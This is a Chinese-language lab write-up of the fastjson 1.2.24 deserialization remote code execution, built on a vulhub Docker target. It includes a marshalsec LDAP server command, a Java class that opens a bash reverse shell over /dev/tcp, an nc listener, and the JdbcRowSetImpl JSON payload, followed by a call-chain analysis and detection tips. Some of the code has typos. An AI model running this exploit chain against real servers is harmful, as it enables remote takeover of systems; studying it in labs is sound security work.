fastjson版本<1.2.24 <1.2.27

序列化时会调用成员变量的get方法，私有成员变量不会被序列化。

反序列化时，会调用成员变量的set方法，public修饰的成员全部自动赋值。

2.1 环境搭建

vulhub靶场

#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
#2 编译，运行
docker-compose build
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 关闭靶场
docker-compose down

这里进入vulhub目录太慢了，而且路径也容易记错。可以篡改系统命令，添加命令别名。

vim ~/.bashrc
#在合适的位置添加如下语句
alias vulhub='cd /var/local/soft/vulhub;ls'
#保存并退出
source ~/.bashrc

靶机：centos 192.168.131.121

监听主机：Kali 192.168.131.134:9999

其他环境与Log4j相同——

2.2 测试

LDAP服务器中，执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#GetShell 1234

其中getshell是恶意类的类名，1234是监听的端口号，该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

构建一个恶意类GetShell.class

/\*
 \* getshell.java
 \* 将其编译后生成Exploit.class
 \* 上传到HTTP服务器
 \*/
public class GetShell{
    public GetShell(){
        Runtime.getRuntime.exec("bash -i >&/dev/tcp/192.168.101.134/9999 0>&1");//监听主机的IP和端口号
    }
    public static void main(Sring[] args){
        GetShell e = new GetShell();
    }
}
//直接使用静态代码块亦可

监听主机Kali开启监听：

nc -lvp 9999      # 9999是监听反弹shell的端口

这时，可以向靶场环境以POST的方式发送数据（payload）如下

POST /HTTP/1.1
Host:xxxxxxxx
...
Content-Type:application/json
Content-Length:146
{
	"x":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"ldap://192.168.101.133:1234/GetShell",
		"autoCommit":true
	}
}

反弹shell成功即可。

2.3 过程分析

用到的反序列化方法

//返回实际类型的对象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject对象
Object obj = JSON.parse(serializedStr);
//子类中包含接口或抽象类时，类型丢失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}

利用类

com.sun.rowset.JdbcRowSetImpl

使用时会引入一个dataSourceName支持传入一个rmi数据源，可以实现JNDI、LDAP端口注入攻击。

流程

序列化字符：准备类名、dataSourceName属性和autoCommit属性；

JdbcRowSetImpl反序列化，调用JdbcRowSetImpl的setAutoCommit()，setAutoCommit()调用connect()；

connect()调用lookup()链接到LDAP/RMI服务器，下载恶意代码到本地，执行攻击。

3 漏洞防御

3.1 排查方法

  1. 找到发送JSON序列化数据的接口
  2. 抓包判断是否使用fastjson
  3. 传入不完整或错误的json数据，{“xx”:"查看返回的数据是否暴露
  4. 使用dnslog ceye检测